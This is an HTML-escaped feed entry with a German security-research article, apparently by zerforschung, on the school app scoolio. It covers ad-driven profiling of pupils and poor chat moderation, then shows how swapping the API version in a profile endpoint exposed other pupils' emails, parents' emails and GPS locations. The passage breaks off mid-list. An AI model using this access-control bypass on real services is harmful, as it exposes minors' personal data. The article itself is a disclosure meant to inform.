      <description>&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/scoolio/datenabfluss-im-keller.jpg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/scoolio/datenabfluss-im-keller.jpg&#34;
         alt=&#34;Einige Menschen haben Leichen im Keller, andere haben einen Datenabfluss im Keller&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;div class=&#34;shortcode-infotextbox&#34;&gt;
	Dieser Artikel ist der erste Teil der &lt;a href=&#34;https://zerforschung.org/tags/back-to-school/&#34;&gt;&amp;ldquo;Back-To-School-Serie&amp;rdquo;&lt;/a&gt;.
&lt;/div&gt;
&lt;p&gt;Über manche Menschen sagt man, sie hätten Leichen im Keller. Sie haben Geheimnisse, von denen niemand erfahren soll. Bei der App scoolio ist das anders: Die App schafft es gerade &lt;em&gt;nicht&lt;/em&gt;, Geheimnisse für sich zu behalten. E-Mail-Adressen von Schüler*innen, ihr aktueller Standort, Schule, Klasse – alles abrufbar im Netz.&lt;/p&gt;
&lt;p&gt;Wenn der Keller also so bequem zugänglich ist, machen wir uns doch auf den Weg und betrachten die sperrangelweit offenen Türen. Kommt mit auf die Reise – Stockwerk für Stockwerk in den Keller.&lt;/p&gt;
&lt;h2 id=&#34;erdgeschoss-was-ist-scoolio&#34;&gt;Erdgeschoss: Was ist Scoolio?&lt;/h2&gt;
&lt;p&gt;Scoolio ist eine seit 2016 existierende App für Schüler*innen.
Ursprünglich erdacht, um den Schulalltag zu erleichtern – mit Hausaufgaben-Planer, Notenübersicht, Klassenchat und Nachhilfe-Vermittlung.&lt;/p&gt;
&lt;p&gt;Eigentlich eine gute Idee, aber: Direkt Geld verdienen lässt sich damit nicht.&lt;/p&gt;
&lt;h3 id=&#34;woher-kommt-das-geld&#34;&gt;Woher kommt das Geld?&lt;/h3&gt;
&lt;p&gt;Apps zu entwickeln ist teuer. Das erwähnt auch der Gründer von scoolio, Danny Roller, regelmäßig&lt;sup id=&#34;fnref:1&#34;&gt;&lt;a href=&#34;#fn:1&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;1&lt;/a&gt;&lt;/sup&gt;. Und mit Apps für Schüler*innen Geld zu verdienen, das ist auf den ersten Blick ganz schön kompliziert. Welche Schülerin würde schließlich ihr Taschengeld für eine Schulapp ausgeben wollen?&lt;/p&gt;
&lt;p&gt;Es braucht also eine andere Idee. Weit verbreitet ist es, die eigene App durch Werbung zu finanzieren. Eine junge Zielgruppe ist dabei aus Sicht der Werbeindustrie besonders wertvoll: Sie ist einerseits empfänglicher für Werbung und andererseits im geschützten Rahmen der Schule schwer erreichbar.&lt;/p&gt;
&lt;p&gt;Welcher Startup-Glücksritter also diese beiden Herausforderungen meistern kann – eine junge Zielgruppe monetarisieren und sie gezielt erreichen – der wähnt eine &lt;em&gt;großartige Opportunity für das eigene Business&lt;/em&gt;.&lt;/p&gt;
&lt;h2 id=&#34;1-kellergeschoss-tracken-wie-die-großen&#34;&gt;1. Kellergeschoss: Tracken wie die Großen&lt;/h2&gt;
&lt;p&gt;Scoolio sieht sich selbst mehr als eine Gen-Z Marketingplattform – mit dem Ziel, möglichst viele Daten über Schüler*innen zu erfassen, sie möglichst lange auf der scoolio-Plattform verweilen zu lassen und ihnen währenddessen möglichst lukrative – weil zielgruppengerechte – Werbung auszuspielen. &lt;sup id=&#34;fnref:2&#34;&gt;&lt;a href=&#34;#fn:2&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;2&lt;/a&gt;&lt;/sup&gt;&lt;/p&gt;
&lt;p&gt;Scoolio erfasst also jeden Datenpunkt über ein*e Schüler*in, den sie bekommen können.
Durch Persönlichkeitstests in Form von Jobquizzes und anderen lustigen Mini-Games werden gezielt immer mehr Informationen über die Schüler*innen gesammelt.&lt;/p&gt;
&lt;p&gt;Diese Daten werden aber nicht nur zum gezielten Ausspielen von Werbung verwendet. Die Ergebnisse der Persönlichkeitstests werden auch direkt an Arbeitgeber*innen zur sogenannten Leadgenerierung&lt;sup id=&#34;fnref:3&#34;&gt;&lt;a href=&#34;#fn:3&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;3&lt;/a&gt;&lt;/sup&gt;&lt;sup&gt;, &lt;/sup&gt;&lt;sup id=&#34;fnref:4&#34;&gt;&lt;a href=&#34;#fn:4&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;4&lt;/a&gt;&lt;/sup&gt; verkauft.&lt;/p&gt;
&lt;p&gt;Wen das nun an Facebook oder gar Cambridge Analytica erinnert: Nah dran. Nur eben technisch noch unsicherer umgesetzt – und sich dabei auch noch an eine junge und normalerweise besonders geschützte Zielgruppe richtet.&lt;/p&gt;
&lt;h3 id=&#34;bleibt-bloß-hier-wie-schülerinnen-auf-die-plattform-gezwungen-werden&#34;&gt;Bleibt bloß hier! Wie Schüler*innen auf die Plattform gezwungen werden.&lt;/h3&gt;
&lt;p&gt;Es ist aber nicht nur teuer, Apps zu entwickeln, sondern sie müssen auch vermarktet werden: Die Werbung für die App selbst kann schnell einen zweistelligen Euro-Betrag pro Nutzer*in kosten.&lt;/p&gt;
&lt;p&gt;Aber auch da hat sich scoolio einen aus ihrer Perspektive cleveren &amp;ldquo;Growth-Hack&amp;rdquo; ausgedacht. Denn statt Schüler*innen direkt zu erreichen, wollten sie Schulen davon überzeugen, scoolio als Software für den Unterricht einzusetzen.&lt;/p&gt;
&lt;p&gt;Sie entwickelten also eine &amp;ldquo;Cloud für Schulen und Lehrer*innen&amp;rdquo;&lt;sup id=&#34;fnref:5&#34;&gt;&lt;a href=&#34;#fn:5&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;5&lt;/a&gt;&lt;/sup&gt;
, um zum Beispiel Dateien für den Unterricht auszutauschen oder Hausaufgaben digital einzusammeln. Diese bieten sie Schulen oder auch einzelnen Lehrer*innen kostenlos&lt;sup id=&#34;fnref:6&#34;&gt;&lt;a href=&#34;#fn:6&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;6&lt;/a&gt;&lt;/sup&gt; an.&lt;/p&gt;
&lt;p&gt;Dadurch, dass die App dann im Unterricht zum Standard wird, haben Schüler*innen de facto keine Wahl mehr: Sie müssen die scoolio-App verwenden. Und scoolio kann die wehrlosen Schüler*innen als wertvolle, häufig wiederkehrende User an ihre Werbekunden vermarkten.&lt;/p&gt;
&lt;p&gt;Das heißt im Umkehrschluss: Wenn die Schule ihre Schüler*innen dazu zwingt, die App zu nutzen – dann zwingt sie ihre Schüler*innen gleichzeitig auch, für die Werbung über die App erreichbar zu sein. Das klingt nicht DSGVO-konform… 🤔&lt;/p&gt;
&lt;p&gt;Gleichzeitig wird durch dieses Vorgehen auch mit dem seit vielen Jahren geltenden Grundsatz&lt;sup id=&#34;fnref:7&#34;&gt;&lt;a href=&#34;#fn:7&#34; class=&#34;footnote-ref&#34; role=&#34;doc-noteref&#34;&gt;7&lt;/a&gt;&lt;/sup&gt; von &amp;ldquo;Keine Produktwerbung an Schulen&amp;rdquo; gebrochen. In extremen Ausnahmesituationen, wie beispielsweise zu Beginn der Coronapandemie, kann man durchaus diskutieren, ob es nicht wichtiger ist, möglichst schnell überhaupt ein laufendes System zu haben. Bei einem Unternehmen, das ein Produkt über mehrere Jahre entwickelt und vermarktet, wirkt dieses Argument aber geradezu lächerlich.&lt;/p&gt;
&lt;p&gt;Geld verdienen durch Werbung – das dürfte auf lange Sicht deutlich lukrativer sein als der klassische Schulsoftwaremarkt, wenn man sich anschaut, was Unternehmen bereit sind zu zahlen, damit ihre Werbung ausgespielt wird.&lt;/p&gt;
&lt;h3 id=&#34;tinder-für-kinder--scoolio-als-social-network&#34;&gt;Tinder für Kinder – Scoolio als Social Network&lt;/h3&gt;
&lt;p&gt;Jede Minute, die ein* zum User gewordene*r Schüler*in in der App verbringt, ist für scoolio sehr wertvoll. Immerhin wird mit jedem Klick mehr Werbung ausgespielt. Deshalb hat sich scoolio dazu entschlossen, dem klassischen Plattformökonomieansatz zu folgen. Also immer mehr Features anzubieten, die zu einer längeren Nutzung der App führen.&lt;/p&gt;
&lt;p&gt;Es scheint so, als hätten sie sich bei der Entwicklung ihrer Plattformstrategie einfach die gängigen sozialen Netzwerke angesehen und die beliebtesten Features daraus &amp;ldquo;kindgerecht&amp;rdquo; nachgebaut.&lt;/p&gt;
&lt;p&gt;Relativ früh hat die App ein &amp;ldquo;Radar-Match-Feature&amp;rdquo; eingebaut. Damit können sich Schüler*innen in der Nähe, also in der selben Klasse oder Schule finden, liken und über einen Chat anschreiben. Ein Tinder für Kinder.&lt;/p&gt;
&lt;figure&gt;&lt;a href=&#34;https://zerforschung.org/p/scoolio/screenshot-tinder-fuer-kinder.jpeg&#34;&gt;&lt;img src=&#34;https://zerforschung.org/p/scoolio/screenshot-tinder-fuer-kinder.jpeg&#34;
         alt=&#34;Screenshot des Tinder-Features in Scoolio&#34;/&gt;&lt;/a&gt;
&lt;/figure&gt;

&lt;p&gt;Neben den direkten Chats zwischen Schüler*innen gibt es auch Klassen- und Schulchats und seit einigen Monaten themenorientierte Chatgruppen, scoolio nennt sie Räume. Diese können von Schüler*innen selbst angelegt werden.&lt;/p&gt;
&lt;h2 id=&#34;2-kellergeschoss--mangelhafte-moderation&#34;&gt;2. Kellergeschoss – mangelhafte Moderation&lt;/h2&gt;
&lt;p&gt;Schüler*innen von der 1. Klasse bis zum Schulabschluss auf einer in keinster Weise zugangsbeschränkten Plattform chatten zu lassen – was soll da schon schiefgehen?&lt;/p&gt;
&lt;p&gt;Eine ganze Menge. Und dabei müssen wir nicht einmal anfangen, über die viel diskutierten Probleme wie Cyber-Grooming zu sprechen.&lt;/p&gt;
&lt;p&gt;Scoolio versagt nämlich schon bei den absoluten Grundlagen der Datenverarbeitung nach DSGVO. Anders lässt sich jedenfalls nicht erklären, dass es massenhaft Räume gibt, die sehr spezifisch benannt sind. So spezifisch, dass schon die Mitgliedschaft in diesem Raum ein besonders schützenwertes Datum nach &lt;a href=&#34;https://dejure.org/gesetze/DSGVO/9.html&#34;&gt;Art. 9 DSGVO&lt;/a&gt; ist.&lt;/p&gt;
&lt;p&gt;Hier eine kleine Sammlung von Beispielen – für viele Kategorien von besonders schützenswerten Daten:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;Daten, aus denen die politische Meinung hevorgeht:
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;Wir gegen Rassismus&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Daten, aus denen die religiöse oder weltanschauliche Überzeugung hervorgeht:
&lt;ul&gt;
&lt;li&gt;&amp;quot; Christen ✝ 😜 😇&amp;quot;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Muslime&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Gesundheitsdaten
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;abnehmen&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;li&gt;Daten zum Sexualleben oder der sexuellen Orientierung:
&lt;ul&gt;
&lt;li&gt;&amp;ldquo;LGBTQ 🏳️‍🌈&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;LGBTQ+&amp;rdquo;&lt;/li&gt;
&lt;li&gt;&amp;ldquo;Kennenlernen für bi sexuelle 👁️👄👁️❤️🏳️‍🌈&amp;rdquo;&lt;/li&gt;
&lt;/ul&gt;
&lt;/li&gt;
&lt;/ul&gt;
&lt;p&gt;Auch in den Gruppen scheint scoolio nur sehr eingeschränkt zu moderieren. Das ist vor allem ein Problem, weil die Chaträume einfach zugänglich sind.
Unter den größten öffentlichen Räumen finden sich viele Räume wie &amp;ldquo;Verliebt euch 🥳&amp;rdquo;, &amp;ldquo;Grube für Singles 😂👑&amp;rdquo;, &amp;ldquo;Suche Freund zwischen 12 und 13&amp;rdquo; und &amp;ldquo;nur Mädchen bis 10&amp;rdquo;.
Dies ist insbesondere kritisch, da scoolio keinerlei Prüfung der eingegebenen Daten der User durchführt.
In einem Test haben wir einen Account angelegt – mit dem angeblichen Alter von 33 Jahren.
Auch damit konnten wir allen diesen Gruppen beitreten, ohne von scoolio-Moderator*innen entfernt zu werden.&lt;/p&gt;
&lt;h2 id=&#34;3-kellergeschoss--mangelnde-it-sicherheit&#34;&gt;3. Kellergeschoss – mangelnde IT-Sicherheit&lt;/h2&gt;
&lt;p&gt;Eine App also, die wir schon wegen ihrer regulären Funktionen für bedenklich halten. Ihr würdet diesen Artikel aber nicht hier lesen, wenn sie nur konzeptionell und nicht auch technisch ein Desaster wäre.&lt;/p&gt;
&lt;p&gt;Wir haben uns die App also auch auf unsere Art angeschaut. Wer schon Texte von uns gelesen hat, kennt das: App installieren, Person-in-the-Middle-Proxy einschalten, ein bisschen in der App rumklicken und die Kommunikation der App mit ihren Servern beobachten.&lt;/p&gt;
&lt;p&gt;Ein Endpunkt der Schnittstelle (Application Programming Interface, API) ist uns dabei sofort ins Auge gefallen: &lt;code&gt;/api/v3/Profile/{ProfileID}&lt;/code&gt;. Damit ist das Profil eine*r Schüler*in abrufbar. Wir versuchen es zuerst mit unserem eigenen Profil. Es hat die ID &lt;code&gt;26dad47a-8354-45f6-960e-ef05b58a6536&lt;/code&gt;.&lt;/p&gt;
&lt;p&gt;Unser Profil sah in etwa so aus:&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;26dad47a-8354-45f6-960e-ef05b58a6536&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;85ce1b51-7da3-4bff-bb29-87d0553ae719&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clLvl&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clExt&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;B&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;isAmbassador&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;nickName&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MariaMaier2005&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;slogan&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;🏳️‍🌈🏳️‍🌈🏳️‍🌈&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;emojiCount&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;userTilesIds&amp;#34;&lt;/span&gt;: [],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileImageId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;154bf0cd-2c53-4a6e-8590-c5879086373c&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;explorerImageId&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;f49b8c4f-76a8-40bd-8716-458fd4cf4080&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;dayOfBirth&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2005-10-01T00:00:00Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;emailConfirmed&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;blocked&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;}
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Wenn wir spannnende API-Endpunkte finden, die über eine Versionskomponente verfügen (hier &lt;strong&gt;/v3/&lt;/strong&gt;), versuchen wir gerne mal, diese zu verändern. Also wurde in unserem Fall aus  &lt;code&gt;/api/v3/Profile/{ProfileID}&lt;/code&gt; zu &lt;code&gt;/api/v2/Profile/{ProfileID}&lt;/code&gt;.&lt;/p&gt;
&lt;video playsinline autoplay loop muted&gt;
  &lt;source src=&#34;https://zerforschung.org/m/scoolio/countcount.webm&#34; type=&#34;video/webm&#34;&gt;
  &lt;source src=&#34;https://zerforschung.org/m/scoolio/countcount.mp4&#34; type=&#34;video/mp4&#34;&gt;
&lt;/video&gt;
&lt;p&gt;Und tada: Noch viel mehr Daten!&lt;/p&gt;
&lt;div class=&#34;highlight&#34;&gt;&lt;pre tabindex=&#34;0&#34; style=&#34;color:#f8f8f2;background-color:#272822;-moz-tab-size:4;-o-tab-size:4;tab-size:4;&#34;&gt;&lt;code class=&#34;language-json&#34; data-lang=&#34;json&#34;&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  {
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileId&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;26dad47a-8354-45f6-960e-ef05b58a6536&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;schoolId&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;85ce1b51-7da3-4bff-bb29-87d0553ae719&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clLvl&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;9&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;clExt&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;B&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;email&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;mariamaiercool2005@gmail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;parentsemail&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;dannyroller@gmail.com&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;parentsAcceptedConditionsDate&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-03-12T13:23:33&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;acceptedConditionsDate&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-03-12T11:13:12&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;slogan&amp;#34;&lt;/span&gt;: &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;🏳️‍🌈🏳️‍🌈🏳️‍🌈&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;imgIds&amp;#34;&lt;/span&gt;:[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;006642e8-4ec2-4b8d-9077-4d6f7a5a7c2d&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;position&amp;#34;&lt;/span&gt;:{
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lon&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;13.7491207&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;lat&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#ae81ff&#34;&gt;51.0716188&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;      &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;updatedAt&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2021-10-22T05:09:31Z&amp;#34;&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    },
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;nickName&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;MariaMaier2005&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;dayOfBirth&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2005-10-01T00:00:00Z&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;isAmbassador&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;emojiCount&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;2&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;userTilesIds&amp;#34;&lt;/span&gt;:[
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    ],
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;profileImageId&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;154bf0cd-2c53-4a6e-8590-c5879086373c&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;explorerImageId&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#e6db74&#34;&gt;&amp;#34;f49b8c4f-76a8-40bd-8716-458fd4cf4080&amp;#34;&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;emailConfirmed&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;true&lt;/span&gt;,
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;    &lt;span style=&#34;color:#f92672&#34;&gt;&amp;#34;blocked&amp;#34;&lt;/span&gt;:&lt;span style=&#34;color:#66d9ef&#34;&gt;false&lt;/span&gt;
&lt;/span&gt;&lt;/span&gt;&lt;span style=&#34;display:flex;&#34;&gt;&lt;span&gt;  }
&lt;/span&gt;&lt;/span&gt;&lt;/code&gt;&lt;/pre&gt;&lt;/div&gt;&lt;p&gt;Aber unsere eigenen Daten sind langweilig – die kennen wir ja schon.
Also haben wir auch probiert, eine fremde Profil-ID einzugeben.
Und zu unserer geringen Verwunderung, aber großen Gernervtheit, konnten wir natürlich auf diese detaillierten Daten der fremden ID zugreifen.&lt;/p&gt;
&lt;p&gt;So konnten wir also recht umfangreiche Datensätze über einzelne angemeldete Nutzer*innen sehen, und zwar:&lt;/p&gt;
&lt;ul&gt;
&lt;li&gt;das exakte Geburtsdatum&lt;/li&gt;
&lt;li&gt;die E-Mail-Adresse des*der Nutzer*in&lt;/li&gt;
&lt;li&gt;bei jüngeren Nutzer*innen die E-Mail-Adresse der Eltern und&lt;/li&gt;
&lt;li&gt;bei etwa einem Drittel der Profile den exakten GPS-Standort, an dem die App das letzte Mal geöffnet wurde.&lt;/li&gt;
&lt;li&gt;Name der Schule und der Klasse&lt;/li&gt;
&lt;li&gt;Interessen&lt;/li&gt;
&lt;/ul&gt;
&lt;h3 id=&#34;ich-weiß-wo-deine-eltern-wohnen&#34;&gt;Ich weiß, wo deine Eltern wohnen&lt;/h3&gt;
&lt;p&gt;Wo einzelne, umfangreiche User-Datensätze abrufbar ist, sind es erfahrungsgemäß noch viel mehr.
Allzu einfach war das bei scoolio immerhin nicht:
Die App benutzt sogenannte &lt;a href=&#34;https://de.wikipedia.org/wiki/Universally_Unique_Identifier#(Pseudo)zuf%C3%A4llig_generierte_UUIDs_(Version_4)&#34;&gt;UUIDs&lt;/a&gt; – also einmalige, zufällig generierte Zeichenketten, die zur Identifizierung eines Eintrags in der Datenbank dienen.&lt;/p&gt;
&lt;p&gt;Diese sehen dann zum Beispiel so aus:&lt;/p&gt;
&lt;ul&gt;
